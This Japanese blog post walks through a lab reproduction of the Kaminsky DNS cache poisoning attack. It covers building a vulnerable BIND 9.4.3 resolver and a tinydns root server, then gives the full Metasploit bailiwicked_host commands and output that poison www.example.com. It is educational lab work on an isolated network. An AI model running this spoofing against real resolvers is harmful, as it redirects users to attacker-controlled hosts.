今更ながら、自分で試したことがなかったので試してみました。
特に攻撃の概要などは説明せず、ただ実験してみたという内容です。
#概要
Kaminsky Attackとは、2008年7月にBlackHat USAでダン・カミンスキー(Dan Kaminsky)氏が発表したDNSキャッシュポイズニングの新たな攻撃方法です。詳細は参考ページをご覧ください。
この攻撃方法が発見されたのはかなり昔ではありますが、実際に自分で毒を入れてみないと理解が浅いかなということで試してみました。
Kaminsky Attackは知っているものとして、実験の方法だけ書いておきます。
#参考
- https://www.nic.ad.jp/ja/materials/iw/2008/proceedings/H3/IW2008-H3-07.pdf
- https://www.nic.ad.jp/ja/newsletter/No40/0800.html
- http://www.e-ontap.com/dns/bindmatrix.html
#環境
環境としては、ほぼ参考ページ通りにやりました。
全てVagrantでVMを作成しました(全部Dockerでやれば良かったな、と後で思いました)。
- 被攻撃キャッシュサーバ(BIND)
- 192.168.33.10
- ルートサーバ 兼 example.nom権威サーバ(tinydns)
- 192.168.33.11
- 攻撃者サーバ(Metasploit Framework)
- 192.168.33.12
#実験
被攻撃キャッシュサーバ(BIND)
参考ページによると、Kaminsky AttackはDNS自体の脆弱性ではなく実装の問題ということのようです。
BINDの特定のバージョンには毒を入れることが出来るようなので、今回は9.4.3を使ってみます。
被攻撃サーバではBINDを動かし、キャッシュDNSサーバとして動作させます。
VMの用意
Vagrantで192.168.33.10を指定して起動します。
今回は予め用意しておいたCentOS 6.8のboxイメージを利用しました。
$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.10"
$ vagrant up
$ vagrant ssh
これでVMの用意は完了です。
Dockerのインストール
環境をDockerで作ったほうが後で楽だと思ったのでDockerで作成しました。
まず最初にDockerをインストールします。
インストール手順は以下などを参考にしてください。
http://qiita.com/zwirky/items/991f61a231f4e198a320
Dockerコンテナの起動
他の環境でも実験しやすいように、Dockerイメージを作りました。
以下のコマンドで起動します。
# docker run -d -p 53:53/udp knqyf263/docker-kaminsky
これで準備は完了ですが、具体的に何をしたかも説明しておきます。
基本的には普通のBINDのインストール手順通りです。
自分でインストールしたい人は以下などを参考にしてください。
http://qiita.com/na0AaooQ/items/9ed548dd6db2a0c911c4
Dockerfileを見れば雰囲気はつかめると思います。
https://github.com/knqyf263/docker-kaminsky/blob/master/Dockerfile
ソースポートの固定
Kaminsky Attackでは毒を入れる際に問い合わせ時のポートを予想する必要があります。
ランダムだと試行回数が多くなってしまうため、簡単のため固定しておきます。
固定しなくても可能なはずです。
以下では10000番に固定しています。
$ vim /etc/named.conf
...
query-source address * port 10000;
hintファイルの更新
ルートDNSサーバとして自分の建てたサーバを見に行ってほしかったので、hintファイルを更新します。
今回では192.168.33.11に向けます。
$ vim /etc/cache.db
. 3600000 NS A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET. 3600000 A 192.168.33.11
こうすることで何のドメイン名を問い合わせても、まずは192.168.33.11に問い合わせるようになるはずです。
そしてnamed.confにこのhintファイルを指定しておきます。
$ vim /etc/named.conf
...(略)...
zone "." {
type hint;
file "/etc/cache.db";
};
ルートサーバ 兼 example.nom権威サーバ(tinydns)
権威DNSサーバの設定をします。
こちらはtinydnsを利用しましたが、tinydnsのDockerがあったのでそれを使いました。
zoneとして.
とexample.com.
を管理することにします。
ルートDNSサーバとexample.com権威DNSサーバは分けても良かったのですが、一緒でも実験は可能かと思ったので一緒にしました。
VMの用意
IPアドレス以外は上と同じです。
Vagrantで192.168.33.11を指定して起動します。
www.example.comは192.168.33.100など適当なIPアドレスを指定しました。
$ vagrant init centos68
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.11"
$ vagrant up
$ vagrant ssh
Dockerのインストール
上と同様にインストールします。
Dockerコンテナの起動
以下のイメージを利用させていただきました。
https://github.com/skurtzemann/docker-tinydns
tinydns.dataファイルを作成してコンテナ起動時にマウントすれば良いようです。
nsとして自分を指定したかったので192.168.33.11にします。
$ vim tinydns.data
.:192.168.33.11:ns.toor.tss:518400
.example.com:192.168.33.11:ns.example.com:3600
+www.example.com:192.168.33.100
そしてこのファイルがある位置で以下のようにコマンドを打ちます。
$ docker run -d -v `pwd`:/data -p 53:53/udp skurtzemann/tinydns
これでtinydns自体は起動完了です。
テスト
正しくexample.comのNSレコードが引けるか確認してみます。
[root@localhost vagrant]# dig @127.0.0.1 ns example.com
; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63977
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;example.com. IN NS
;; ANSWER SECTION:
example.com. 3600 IN NS ns.example.com.
;; ADDITIONAL SECTION:
ns.example.com. 3600 IN A 192.168.33.11
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sun Dec 25 11:15:46 2016
;; MSG SIZE rcvd: 62
192.168.33.11が返って来ているので問題なさそうです。
また、今回の攻撃対象であるBINDサーバに対しても問い合わせてみます。
[root@localhost vagrant]# dig @192.168.33.10 ns example.com +short
ns.example.com.
正しく設定できているようです(本来なら a.iana-servers.net.
などが返される)。
これでDNSサーバの準備は完了です。
遅延の設定
権威DNSサーバからのレスポンスが遅いほうが攻撃が成功しやすいので、遅延を入れます。
Linuxなのでtc
コマンドを利用します。
$ sudo tc qdisc add dev eth1 root netem delay 200ms
上記では200msの遅延を入れました。
Vagrantで起動したらeth1が192.168.33.11に割当たっていたのでeth1を指定します。
被攻撃キャッシュサーバからpingを打ってみます。
[root@localhost ~]# ping -c 3 192.168.33.11
PING 192.168.33.11 (192.168.33.11) 56(84) bytes of data.
64 bytes from 192.168.33.11: icmp_seq=1 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=2 ttl=64 time=202 ms
64 bytes from 192.168.33.11: icmp_seq=3 ttl=64 time=201 ms
--- 192.168.33.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2204ms
rtt min/avg/max/mdev = 201.991/202.143/202.381/0.170 ms
正しく200msの遅延が発生しています。
攻撃者サーバ(Metasploit Framework)
最後に攻撃者サーバを用意します。
Metasploit Framework(以下Metasploit)が利用したかったので、Kali Linuxを利用しました。
VMの用意
事前に用意しておいたKali Linuxのboxイメージを利用します。
$ vagrant init kali
$ vim Vagrantfile
config.vm.network "private_network", ip: "192.168.33.12"
$ vagrant up
$ vagrant ssh
攻撃する
msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。
$ sudo msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >
オプションは以下です。
msf auxiliary(bailiwicked_host) > show options
Module options (auxiliary/spoof/dns/bailiwicked_host):
Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
INTERFACE no The name of the interface
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST yes The target address
SNAPLEN 65535 yes The number of bytes to capture
SRCADDR Real yes The source address to use for sending the queries (Accepted: Real, Random)
SRCPORT yes The target server's source query port (0 for automatic)
TIMEOUT 500 yes The number of seconds to wait for new data
TTL 39223 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for automatic)
今回の攻撃対象は192.168.33.10なのでRHOSTに指定します。
msf auxiliary(bailiwicked_host) > set RHOST 192.168.33.10
RHOST => 192.168.33.10
キャッシュサーバのソースポートは10000番に固定したので、SRCPORTに指定します。
ただし、ここで1つ問題があります。ソースポートを固定したのはDockerのコンテナ内の話で、ホストから通信が出る際にNAPTされてしまいます。
そこで、先にポートを調べておきます。
まず被攻撃キャッシュサーバでdigなどでしつつ、ルートサーバで以下のようにtcpdumpをしておきます。
[root@localhost vagrant]# tcpdump -nnni eth1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
14:27:05.069187 IP 192.168.33.10.10000 > 192.168.33.11.53: 9343 [1au] NS? . (28)
こうすると上記のように、被攻撃キャッシュサーバのソースポートが分かります。
今回は変換されず10000番ポートのままでした。
環境によっては異なるポートなどになるので調べてみてください。
msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000
今回はwww.example.comを汚染したいのでHOSTNAMEに指定します。
msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com
Vagrantでは192.168.33.12をeth1に割り当てているので、INTERFACEにはeth1を指定します。
最初これを指定していなかったため、eth0からパケットが出てしまってうまく行きませんでした。
msf auxiliary(bailiwicked_host) > set INTERFACE eth1
INTERFACE => eth1
次に、RECONSを指定します。
Kaminsky Attackではソースアドレスの偽装を行いますが、bailiwicked_hostモジュールでは自動で偽装するべきアドレスを探してくれます。
その際、example.comのNSレコードを引いてきて、そのアドレスに偽装するのですが、今回は本来のアドレスに偽装されると上手く行きません。
そこで、example.comのNSレコードを引く先を192.168.33.11に指定します。
192.168.33.11に問い合わせると、example.comのNSレコードは192.168.33.11が返されるので、192.168.33.11に偽装してくれるようになります。
(という理解ですが、もし違ってたらすみません。)
msf auxiliary(bailiwicked_host) > set RECONS 192.168.33.11
RECONS => 192.168.33.11
これで準備完了したので攻撃してみましょう。
msf auxiliary(bailiwicked_host) > run
[*] Targeting nameserver 192.168.33.10 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 3600 IN NS ns.example.com.
[*] Querying recon nameserver for address of ns.example.com....
[*] Got an A record: ns.example.com. 3600 IN A 192.168.33.11
[*] Checking Authoritativeness: Querying 192.168.33.11 for example.com....
[*] ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 0.3/0.32/0.3 | min/max/avg replies: 291/651/516
[*] Sending 774 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject a poison record for www.example.com. into 192.168.33.10:1025...
[*] Poisoning successful after 250 queries and 193500 responses: www.example.com == 1.3.3.7
[*] TTL: 39116 DATA: #<Resolv::DNS::Resource::IN::A:0x00000005936430>
[*] Auxiliary module execution completed
少し待つと上記のように攻撃が成功したことが分かります。
被攻撃サーバにwww.example.comを問い合わせると1.3.3.7が返されます。
[root@localhost ~]# dig @127.0.0.1 www.example.com +short
1.3.3.7
ただし、場合によっては時間がかかることもあります。
まとめ
Kaminsky Attackを自分で検証してみました。
BIND 9.4.3ではMetasploitのモジュールを使って毒を入れることが出来ました。
実験ではソースポートを固定したので簡単でしたが、固定しないと割と時間がかかります。
他のバージョンではAdditional SectionのAレコードを受け入れないから毒が入らないということらしいので、次は別バージョンで試してみようと思います。